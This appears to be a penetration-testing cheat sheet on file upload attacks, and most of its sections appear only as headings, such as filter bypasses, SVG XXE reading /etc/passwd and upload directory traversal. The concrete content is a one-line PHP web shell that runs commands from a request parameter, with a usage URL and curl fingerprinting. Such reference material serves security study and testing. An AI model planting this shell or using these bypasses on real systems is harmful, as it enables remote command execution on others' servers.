File Upload Attacks
Identify Web Framework
# Check for index page extensions
http://TARGET/index.php
http://TARGET/index.asp
http://TARGET/index.aspx
http://TARGET/index.jsp
# Use Wappalyzer browser extension
# Or fingerprint with curl
curl -I http://TARGET/Web Shells
PHP
<?php system($_REQUEST['cmd']); ?># Usage
http://TARGET/uploads/shell.php?cmd=idASP
JSP
Location of Pre-made Shells
Reverse Shells
PHP (pentestmonkey)
Generate with msfvenom
Bypass Client-Side Validation
Burp Intercept Method
Disable JavaScript
Bypass Extension Blacklist
Fuzz for Allowed Extensions
Burp Intruder Fuzzing
Bypass Extension Whitelist
Double Extension
Reverse Double Extension
Character Injection
Generate Character Injection Wordlist (Bash)
Generate Bypass Wordlist (Python)
Bypass Content-Type Filter
Change Content-Type Header
Bypass MIME-Type (Magic Bytes)
Add Magic Bytes to Shell
Common Magic Bytes
File Type
Magic Bytes (Hex)
ASCII
SVG Attacks
XSS via SVG
XXE via SVG (Read /etc/passwd)
XXE via SVG (Read Source Code)
XSS via Image Metadata
Filename Injection
Command Injection
XSS
SQLi
Windows-Specific Attacks
Reserved Characters
Reserved Names
8.3 Filename Convention
Discover Upload Directory
Fuzzing
Force Errors
Upload Directory Traversal
Overwrite Files
Useful Wordlists
Last updated